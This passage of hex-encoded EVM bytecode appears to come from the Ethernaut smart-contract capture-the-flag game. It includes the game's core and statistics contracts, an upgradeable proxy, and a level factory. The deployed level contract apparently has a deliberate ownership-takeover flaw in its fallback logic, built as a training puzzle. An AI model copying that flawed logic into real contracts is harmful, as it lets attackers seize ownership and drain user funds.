908b8101908f8311156200223a575f80fd5b6040840193505b828410156200225c5783518252928c0192908c019062002241565b845250505060408201518781111562002273575f80fd5b620022838d8b8386010162002108565b8a83015250620022966060830162002129565b6040820152845250918601918601620021ad565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620017535762001753620022b7565b5f60208284031215620022f2575f80fd5b815167ffffffffffffffff81111562002309575f80fd5b8201601f810184136200231a575f80fd5b6200232b84825160208401620020d4565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200236c81600585016020880162001de1565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620023ab81600a84016020880162001de1565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f8351620023f481846020880162001de1565b8351908301906200240a81836020880162001de1565b01949350505050565b602081525f62001b0a602083018462001e05565b600181811c908216806200243c57607f821691505b6020821081036200245b57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002472575f80fd5b815162001b0a8162001c1b565b5f6020828403121562002490575f80fd5b5051919050565b80820180821115620017535762001753620022b7565b604081525f620024c1604083018562001e05565b8281036020840152620024d5818562001e05565b95945050505050565b5f60208284031215620024ef575f80fd5b815167ffffffffffffffff81111562002506575f80fd5b6200232b848285016200210856fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61077d8061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610359565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d836600461037b565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610359565b6101e3565b610114610278565b61011d5f6102d1565b565b5f8060405161012d90610338565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bd91906103b2565b6001600160a01b03161480156101db57506001600160a01b03811631155b949350505050565b6101eb610278565b6001600160a01b03811661026c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610275816102d1565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610263565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61037a806103ce83390190565b6001600160a01b0381168114610275575f80fd5b5f60208284031215610369575f80fd5b813561037481610345565b9392505050565b5f806040838503121561038c575f80fd5b823561039781610345565b915060208301356103a781610345565b809150509250929050565b5f602082840312156103c2575f80fd5b81516103748161034556fe608060405234801561000f575f80fd5b50600180546001600160a01b031916339081179091555f908152602081905260409020683635c9adc5dea00000905561032f8061004b5f395ff3fe60806040526004361061005b575f3560e01c80638da5cb5b116100415780638da5cb5b14610100578063d7bb99ba14610137578063f10fdf5c1461013f575f80fd5b80633ccfd60b146100ac57806342e94c90146100c2575f80fd5b366100a8575f3411801561007c5750335f9081526020819052604090205415155b610084575f80fd5b6001805473ffffffffffffffffffffffffffffffffffffffff191633908117909155005b5f80fd5b3480156100b7575f80fd5b506100c061015f565b005b3480156100cd575f80fd5b506100ed6100dc36600461028e565b5f6020819052908152604090205481565b6040519081526020015b60405180910390f35b34801561010b575f80fd5b5060015461011f906001600160a01b031681565b6040516001600160a01b0390911681526020016100f7565b6100c0610210565b34801561014a575f80fd5b50335f908152602081905260409020546100ed565b6001546001600160a01b031633146101d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015260640160405180910390fd5b6001546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561020d573d5f803e3d5ffd5b50565b66038d7ea4c680003410610222575f80fd5b335f90815260208190526040812080543492906102409084906102bb565b90915550506001546001600160a01b03165f9081526020819052604080822054338352912054111561028c576001805473ffffffffffffffffffffffffffffffffffffffff1916331790555b565b5f6020828403121561029e575f80fd5b81356001600160a01b03811681146102b4575f80fd5b9392505050565b808201808211156102f3577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b9291505056fea2646970667358221220da6be5c84540332154b3e10482c62beb46861f512f81969bbbfb64f70a04416f64736f6c63430008180033a2646970667358221220214a663425b34a1fc181a75b09723612eb98c7fb4938c2194defea9689cf928164736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075